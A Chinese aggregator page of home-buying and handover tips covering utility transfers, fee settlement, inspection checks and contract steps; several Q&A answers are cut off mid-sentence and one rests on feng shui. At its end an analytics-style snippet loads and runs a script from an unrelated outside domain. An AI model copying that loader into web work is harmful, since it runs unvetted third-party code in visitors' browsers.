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陶和静
新手购房因为很多都不知道也不懂,在购房时很容易被忽悠,收房很多细节也注意不到,你们知道购房收房注意事项有哪些?
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问购房注意事项有哪些?
答在购买房子的时候一定要多多注意房子的环境问题,尽量避免购买在人群较少的地方,就个人觉得,这样会显得阴气很重,反之选择在人群较多的地方,阳气就会比较充足,对家
问购房认购书注意事项有哪些?
答审判实务中,认购书效力是否以取得商品房销售许可证为必要条件存在着较大争议?有的认为应以取得商品房许可证为必要条件,有的则持相反观点。我们认为,认购书签订的根
问购房交房注意事项有哪些?
答第一,一定要弄清所购房屋的产权归属。因产权归属不清楚或产权纠纷未了结的房屋,购置时务必谨慎对待,最好不要涉足。 第二, 看价格的比较时,首先要弄清
问购房选房注意事项有哪些?
答买房看社区,先看社区大不大,其次楼盘容积率、绿化率、公摊面积、楼层情况要了解清楚。选房先锁定社区,首先要看社区规模大不大,建筑面积在三十万平方米左右比较有保
问买现房,购房合同的注意事项有哪些?
答现房是指消费者在购买时具备即买即可入住的商品房,即开发商已办妥所售房屋的大产证的商品房,与消费者签订商品房买卖合同后,立即可以办理入住并取得产权证。只有拥有
昭通二手房收房注意事项有哪些?
现在虽然说城市化在快速发展,但是仍然有很多不属于现代化的东西,如我们现在所看到的在一些大城市的CBD,我们呢很难看到新建的商品房了,那么有什么呢?自然是二手房啦!凡房屋产权明晰、在经过了一手买卖之后再行上市的房屋都是二手房。很多人都趋向于买二手房,买了之后自然就是收房了,昭通业主最近买了一套二手房,可是临近收房的时候却束手无策了,这不昭通装修小编就来帮这位业主啦!一、昭通二手房交接需知往往我们看到的房产交易出现最多纠纷的是水、电、煤气及其附属设施和房屋装修等方面。如果说在买卖双方的《房地产买卖合同》中,对于上述情形予以比较大的关注的话,那么在实际的房屋交接过程中,这样的纠纷就会避免。因此来说的话,为了我们尽可能的减少今后的麻烦建议昭通买房者在二手房交房时注意以下事项。昭通二手房收房注意事项1、结清水表账单很多的房产上下家不需要办理水表过户手续。但在交房时根据买卖合同的约定,双方须要进行抄表读数,并按实际的抄表数由业主结清所欠费用。建议买房在交房前要询问卖房是否已付清水费,交房当日要求上家携带好近期的水费账单,并可以拨打相关机构查询该房产已往的水费欠缴情况。昭通二手房收房注意事项2、告知电表状况在交房时建议买房者亲自查验电表是否有移动改装的痕迹。在实际操作中,现新建商品房的电表户名基本为业主本人或是开发商名字。在办理交房手续时除双方核对电表读数外,还须双方携带本人身份证件、房产证、私章等前往所在地电力营业厅办理电表过户更名手续,并结清该电表的所有欠费。昭通二手房收房注意事项3、办理煤气过户按照昭通煤气公司的规定,上下家必须凭《房屋买卖合同》其中须写明本房价已包含煤气设施费或该煤气设备无偿转让的证明文字,以及上下家的身份证,上家近期的煤气费账单,双方亲自到燃气部门办理过户更名手续。对于没有约定或约定不清的,燃气部门将拒绝办理。昭通二手房收房注意事项4、有线电视过户有线电视实行一户一卡制,如遇上家拖欠费用的情况,时间一长,有线站会作封端处理。因此在交房时买房可要求卖方提交交房当年的有线电视费收据凭证及有线电视初装凭证。买房凭上述两样资料和新的房地产权证,即可到房屋所在地的区有线电视公司办理过户手续。昭通二手房收房注意事项5、结清电话,宽带费用如果说买房无需延用卖房的电话号码,则上家可以去电信公司注销或迁移该号码,然后下家另外自行申请安装电话。如果买房需要延用卖房的电话号码,则买卖双方一起到电信部门办理过户手续,并以交房当日为准结算话费账单。至于宽带费用以交房当日为准并以上月账单结算。昭通二手房收房注意事项6、结算维修资金按照房地产管理部门的规定,住宅转让时,维修资金账户中余款是不予退还的,因此卖方凭《商品住宅维修资金结算交割单》绿色联可向买房按实结算或赠送给下家。同时维修资金的所有人更名为买方。昭通二手房收房注意事项7、物业更名及结算物业管理费用建议买卖双方到房屋所在地的物业管理公司办理以交房当日为准结算物业管理费。同时买房办理物业进户手续。昭通二手房收房注意事项8、注意交楼附送物品清单在签约时,请各位业主与买家把附送的物品列明清单及数量,对于一些家电产品建议列明型号、牌子等,方便收楼时核对物品是否与合同相符。昭通二手房收房注意事项9、要检查单位室内各项设施是否有质量问题购房者在收楼时须注意查看工程质量,如门、窗、天花、墙壁、地面的质量,有否渗漏等(特别对于楼龄长的物业);检查水、电是否正常,用水通道是否畅通等。检查室内各项设备是否工作正常,如有任何问题旧业主须配合新业主维修,否则可能新业主要承担负责。昭通二手房收房注意事项10、收楼证明是否齐全对于一些多年未入住的新楼,购房者收楼时要检查验收楼盘交付使用的证件是否齐备,同时对于一些所谓收楼费用,例如维修基金等,必须清晰知道业主是否曾缴交过,以免造成自己的损失。昭通二手房收房注意事项11、户籍是否迁出对于名校物业,有部分的原业主把物业出售,但户籍仍挂在已出售的物业,新业主在收楼时,如果想用该物业的户籍时,及时要求对方按时把户籍迁出,否则新业主无法找派出所接收户籍。昭通二手房收房注意事项12、发票是否齐全买家成功收楼后,通常客户都要办理一些过户手续,例如过户的税单、有线电视、电话、网络等转名手续的发票是否齐全,否则买家无法使用相关的服务。相信昭通业主在了解这些昭通二手房收房注意事项后,会在后续的收房过程中没有什么特别大的疑问呢!
购房流程和注意事项有哪些及买房注意事项
现代人已经将房产认为是重要的保值财产了,它还具备升值的能力,很多人也依靠买房发家致富,成为了百万富翁、千万富翁等等。由于人们越来越热衷于买房,房地产交易市场也非常的活跃,你会看到很多城市的房价也在不断的飙升,当地为了遏制炒房等还推出了限购政策。买房是一件大事情,需要特别的谨慎,买房者要了解购房流程和注意事项有哪些。买房详细流程1.准备阶段包括购房能力评估、资金准备以及房产相关基础知识的学习。2.看房选房包括选址、选户型、选楼层、实地看房以及确定最终目标等。3.认购阶段包括买房认购、交付定金或订金、签订认购书等。4.签订合同这一阶段包括了解如何签订购房合同,并当心合同陷阱。5.付款贷款包括一次性付款、分期付款,需要了解商贷款种类及流程。6.收房验房包括清查楼盘的《商品房竣工验收证》以及其它购房者收房验房的注意事项以及可退房的情况。7.产权落户需了解房屋产权证基本知识,以及房屋“两证”办理流程等。8.入住装修包括选择装修装饰公司。买房注意事项1.买房子尽量买一期开发的,一般说来价格便宜而且质量好。2.买房前试验隔音情况,否则会很痛苦。3.不要买二层,一般厨房下水道是二层往上一条,一层独立一条。这样二层是最容易发生堵塞的,如发生堵塞倒灌,其状惨不忍睹。4.买房子要注意不要买临街的,噪音太大,即使是一条小路,也有发展成菜市场的潜力。5.窗子外侧一定要是往外倾斜,否则窗子上的密封胶老化了就会水淹七军。6.窗户的纱窗一定要买内置的,否则掉在地上还好,掉在人上就难办了。7.窗户最好是推拉式,在中间关的,密封性好。8.注意你所买的房子的位置,小心你的楼下空地成为停车场。9.不要买顶层,顶层容易出现漏水现象,虽然能修理但耗时耗力,修理时间极可能被无限延长不要买带厨房下水道的地下室,否则崩溃是早晚的事情。10.卫生间的防水很重要!!!一定要鼓动你的楼上和你一起在交房时做足48小时的闭水试验,确定其防水性能,否则一旦漏水后果会非常痛苦。11.要注意小区里的车位数量,也许近期你不买车但不带表以后不会。12.家里的水管,暖气管道都要打压试一下,尤其是暖气。个别暖气片,会直接影响室温,如果安反了,想要改过来极其困难,全安反了还可以在外面改,但如果安错了一两片,则要砸地面。13.如果你的房子是带单元对讲的,那别买一层,关门声能让你疯掉,报警声威力更是惊人。14.房子里的对讲系统一定要问明性能和使用方法,并且仔细试验,否则那些宣传中优越的性能可能只是宣传而已。15.厨房一定要有地漏,这样有个万一水管爆裂,还有个地方漏水,不至于让家里成了太平洋。16.千万不要相信那些售楼小姐说的什么外国进口门窗,越是如此,门窗配件越难买,后期物业根本弄不了。17.家里的入户门带猫眼的是防盗门,不带猫眼的是防火门,如果发生火灾猫眼会爆炸,但如果有陌生人,猫眼看得见。看你需要。18.装修时不要动卫生间的地砖,不要自己重新做防水—除非你有钱没地方花,要知道开发商并不是心甘情愿的为你保修防水的,他们正愁找不到理由呢。购房流程和注意事项有哪些?相关的事项就是这些,建议在购房的时候人们可以多看一看,了解些相关知识,这样对自己才有好处。提醒人们购买一手房和二手房的流程和注意事项是有一定差别的,上面介绍的内容只是针对一手房而言,二手房购买会比一手房复杂麻烦的多,希望大家在购买二手房的时候一定要能够找个靠谱的中介,保证买房顺利。
简单了解二手房收房注意事项有哪些
目前,大中城市中心区几乎没有新的商品房,更多的是选择购买二手房,许多人只是拿走了钥匙就算收房了,即使有小心的,最多也只检查水、电煤气等。事实上我们应该详细了解二手房收房注意事项,两个方面来说:费用结算和质量检查。一、费用结算二手房收房注意事项琐碎的一项是查看是否有各种欠费,有线电视,电话,宽带是否欠费,补缴并更名。如果您需要继续使用原始电话号码,您还应该到电信部门处理转名。结算房屋维修资金。物业管理费、物业重新更名和水电费、取暖费、燃气的结算。注意物品清单:买卖双方要列出物品和数量,对于某些家用电器,建议列出型号,以备检查是否符合合同。检查各种发票是否齐全,有线电视、电话、网络发票收据,否则买家无法使用相关服务。二、质量检查二手房收房注意事项中还有各种检查。查看各设施是否存在质量问题,如果有问题,老业主必须配合新业主进行维修,否则新业可能利益受损。墙体和地板是否裂缝。注意厨房、浴室的下水情况,可以在现场打开水流,看水压,试试排水速度。如果漏水到楼下邻居的房子,一定太糟糕了。还要注意天花板窗台下面没有水渍。注意接收所有钥匙,包括建筑单元门钥匙、入口门钥匙、每个房间、信箱钥匙。户籍是否造出,否则新主人无法迁入。以上整理了一些二手房收房注意事项,如果在验收房屋期间发现问题,必须在验收记录中注明。每个人在收房前不妨多关注一下二手房收房注意事项,任何问题必须在收房前与前业主协商,尽快找出原因,确定哪一方负责维修,收房后再发现问题就比较难处理了。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
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